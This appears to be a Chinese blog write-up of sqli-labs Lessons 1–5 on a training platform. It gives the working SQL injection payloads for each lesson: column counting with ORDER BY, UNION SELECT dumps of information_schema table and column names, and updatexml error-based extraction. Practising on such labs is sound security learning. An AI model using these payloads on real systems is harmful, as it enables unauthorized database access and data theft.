http://43.247.91.228:84/
看雪论坛提供的sql注入平台
http://43.247.91.228:84/Less-1/
依据提示构造一个1'
的参数,发现题目有报错,说明有注入点。
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
再次构造:
1' order by 3%23
需要注意这里的%23就是代表#,因为我发现输入#时无法注释掉后面的语句,而%23则可以。%23,#,--+都是可以代表注释的。
再次构造:
1' order by 4%23
发现报错了:
Unknown column '4' in 'order clause'
于是我们可以断定它只有3个字段。
这里有一个新的知识点:当查询存在的表段中的显位。使用时候将id改成不存在的id值然后查询。如果返回位有显示,则在该返回位可以进行查询。
如,构建:
-1' union select 1,2,database()%23
输出如下:
在password处就是当前的数据库名字。
接下来就是表名了,得知库名使用where语句来查询:
1,2,table_name from information_schema.tables where table_schema='security
-1' union select 1,2,column_name from information_schema.columns where table_name='emails
-1' union select 1,2,id from emails where%20 '1'='1
当然了,我们会发现可能这个字段并不是我们想要的字段,或者这个库,这个表并不是我们需要的,我们必须一次性爆出所有表来查看时,可以使用语句:
select group_concat(table_name)from information_schema.tables where table_schema='security'
如:
-1' union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema='security') %23
这样就可以一次性爆出security库下的所有表名。
http://43.247.91.228:84/Less-2/
在这里构建语句:
-1' order by 3%23
发现报错如下:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' order by 3# LIMIT 0,1' at line 1
可以看见的是它把我们输入的单引号和后面的注释都返回了,由此可见这里的查询语句可能是没有使用单引号。
直接构造语句找出当前数据库名字:
-1 union select 1,2,database()
找出数据库内拥有的表名:
-1 union select 1,(select group_concat(table_name)from information_schema.tables where table_schema='security'),3
-1 union select 1,(select group_concat(column_name)from information_schema.columns where table_name='emails'),3
接下来的做法如出一辙。
http://43.247.91.228:84/Less-3/
构造:
-1 test'
报错如下:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''-1 test'') LIMIT 0,1' at line 1
发现我们送入语句内的应该是如下的内容:
'-1 test'
也就是说查询语句大致如此:
id=('$_GET['id']')
所以我们只要构造一个')'
然后在最后面注释掉后面的语句的话我们就可以为所欲为了。尝试构造语句:
-1') union select 1,2,database()%23
一如既往输出
Welcome Dhakkan
Your Login name:2
Your Password:security
接下来就如同之前一般:
爆表:-1') union select 1,(select group_concat(table_name)from information_schema.tables where table_schema='security'),3%23
爆字段:-1') union select 1,(select group_concat(column_name)from information_schema.columns where table_name='emails'),3%23
http://43.247.91.228:84/Less-4/
首先依旧尝试
1'
,发现没有报错,那么可能是对单引号有过滤了。
1\
,尝试发现有报错了,,报错如下:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1\") LIMIT 0,1' at line 1
从这里分析查询语句可能为:
id=("$_GET['id']")
也就是使用了双引号和括号。
构造语句尝试使其报错:
1") order by 4%23
果然爆出错误:Unknown column '4' in 'order clause'
那么就可以为所欲为了。
爆库:-1") union select 1,database(),3%23
爆表爆字段都是同理构造双引号和括号即可。
http://43.247.91.228:84/Less-5/
这道题我输入单引号发现报错,按照其报错方式判断其sql语句应该是:
select id='1' limit 0,1
,于是我输入-1' union select 1,2,database()%23
。发现他依旧是一句
这种是没有回显,但是会存在错误代码的注入,也叫做报错注入。
我这里使用的是updatexml,先了解一下updatexml,他需要传入三个参数
updatexml (XML_document, XPath_string, new_value);
然后是concat,他的作用是连接字符串。
两个一起的基本用法是
updatexml(1,concat(0x7e,database(),0x7e),1)
其中updatexml第二个参数是xpath格式的,而我们连接字符串的0x7e是~
的16进制,作用就是让updatexml函数报错。
基本用法就是updatexml(1,concat(0x7e,payload,0x7e),1)
。
于是我构建语句:
-1' and updatexml(1,concat(0x7e,database(),0x7e),1)%23
可以看见这里报错了,是我们熟悉的数据库名。
配合使用group_concat()来一次性获取表名
-1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)%23
取字段名
-1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='emails'),0x7e),1)%23
本文原创于HhhM的博客,转载请标明出处。
_ _ _ _ ___ ___ | | | | | | | | \/ | | |_| | |__ | |__ | . . | | _ | '_ \| '_ \| |\/| | | | | | | | | | | | | | | \_| |_/_| |_|_| |_\_| |_/